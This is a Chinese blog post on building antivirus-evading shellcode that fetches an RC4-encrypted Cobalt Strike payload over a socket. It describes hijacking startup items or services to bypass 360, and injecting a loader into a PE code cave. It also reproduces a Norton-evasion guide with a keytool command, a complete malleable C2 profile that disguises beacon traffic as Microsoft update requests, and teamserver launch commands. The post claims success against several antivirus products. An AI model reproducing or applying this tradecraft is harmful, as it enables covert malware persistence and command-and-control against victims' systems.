登陆 注册

打造一款Socket型免杀无弹窗的shellcode

清心 2020-03-05 安全文摘

写一个 shell­code 带有 socket+rc4 加密跑远端加密后的 cs 的 pay­load 下载下来后执行。然后利用启动项劫持技术,绕过杀软的启动保护。

再高级一点的话,就是把启动项劫持,改成用 masm 编写超迷你型的 shell­code 装载器,然后插入目标的 PE 空隙中,然后修改 OEP 指向我们的空隙然后执行完 shell­code 后再跳转到入口点。

启动项劫持的原理就是,360 虽然禁止对启动项进行增改,但是删和查是可以的,并且对于启动项 / 服务项中的目标程序并没有进行保护。所以我们可以对启动项的程序进行劫持替换修改都是没问题的。或者不对启动项劫持进行替换,而是找到一个运行中的服务,kill 掉它的进程,然后对服务源程序进行劫持也是可以的。原理都差不多。

至于 pay­load,有两个方案。

一.可以自己写,难度有点高,可以参考

二进制入门 - 打造 Linux shellcode 基础篇

https://www.cnblogs.com/ichunqiu/p/7273935.html

但是这种东西,一般顶天给你整个下载者。和 cs 那种全部功能纯 shell­code 还是不一样的。你下载者最终还是需要下载的你的二进制文件,达不到 “负载无文件”(不是纯无文件,毕竟你的 shell­code 还是需要的),可能会导致你的马子被检测到。

pay­load 难主要难在,对于 API 地址的定位,不过一般只要找到 Load­Li­brary 的地址,其实还算是好说的啦。

实在不行,直接整个 PE­LOADER,自建一个 RVA 导入,不过传输 EXE 的话可能会被杀软拦截 emmm,但是都能传 shell­code 了,传个加密的 PE 到内存理论上也是没关系的吧,

二.推荐直接使用 CS或者 MSF,简单粗暴。

最后研究出的代码地址在这里,喜欢记得点个star。

https://github.com/9bie/shellcode


1.png

带有直接运行和服务启动效果。

怎么用我懒得说了,只能说不添加 启动的话,至少是能无弹窗过 360 + 主防吧。

目前发现还不能过诺顿,过诺顿其实很简单,如果是CS的话,不用自带的证书即可,自己签发生成证书,然后https监听器上线。

诺顿流量免杀可以参考阅读渣渣辉博客https://www.zzhsec.com/556.html:

原文如下

生成免费的ssl证书,弃用cobaltstrike.store,用自己的zzhsec.store

第一步生成zzhsec.store文件

命令:
keytool -genkey -alias zzhsec -keyalg RSA -validity 36500 -keystore zzhsec.store
注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面
接下来需要输入密码,一定要记得这串密码,后面会用到,不然到时候你需要自己回来重新生成下

image-1568206487023.png

然后输入名字,例如:US
然后一步步输入就行

2.png

最后这里输入y即可完成

3.png

然后再输入一次密码即可

ls查看当前目录就生成好了zzhsec.store文件

4.png

keytool具体参数生成可以参考改文章:

https://blog.csdn.net/luoyongsir/article/details/54929288

创建修改C2-profile文件

set sample_name "zzhsec POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

#设置证书
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdates";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdates";  
    set ST       "US";
    set validity "365";
}
#设置
code-signer{
    set keystore "zzhsec.store";
    set password "123.zzhsec!";
    set alias "zzhsec";
}

#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";

#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";

#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}

上面文件对标生成的zzhsec.store即可
比如:

Is CN=US, OU=MicrosoftUpdatess, O=MicrosoftUpdatess, L=US, ST=US, C=en
替换
#设置证书
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdatess";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdatess";  
    set ST       "US";
    set validity "365";
}
ps:注意对应好
以及下面的
#设置
code-signer{
    set keystore "zzhsec.store";
    set password "123.zzhsec!";
    set alias "zzhsec";
}
在上面的生成命令中的alias以及keystore后面的字段对应好
以及输入命令的时候,你输入的密码也需要替换[object Object]

4.png

推荐两个Github上的C2-profile

https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/threatexpress/malleable-c2
官方的C2配置文章
https://www.cobaltstrike.com/help-malleable-c2

接下来就是验证C2-profile是否可用了

命令
./c2lint me.profile

没有出现什么问题就可以了

然后期待teamserver即可

命令
nohup ./teamserver 1.1.1.1 123456 ./me.profile &
然后就可以愉快的去连接了

对了,建议把teamserver的端口改一下file

改成一些你用不到的服务端口即可

最后测试了下卡巴斯基的诺顿和360,走https流量

随便你怎么操作,都不拦截,之前的会拦截流量

直接生成exe的话,可能被杀,需要自己简单做一下免杀

我用的powershell上线的,其他的shellcode自己随便搞一搞免杀也是分分钟

推荐阅读:
https://xz.aliyun.com/t/2796
https://xz.aliyun.com/t/2239
https://www.chabug.org/web/832.html

参考来源:⑨BIE的博客以及渣渣辉博客

文由Hack学习呀

生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net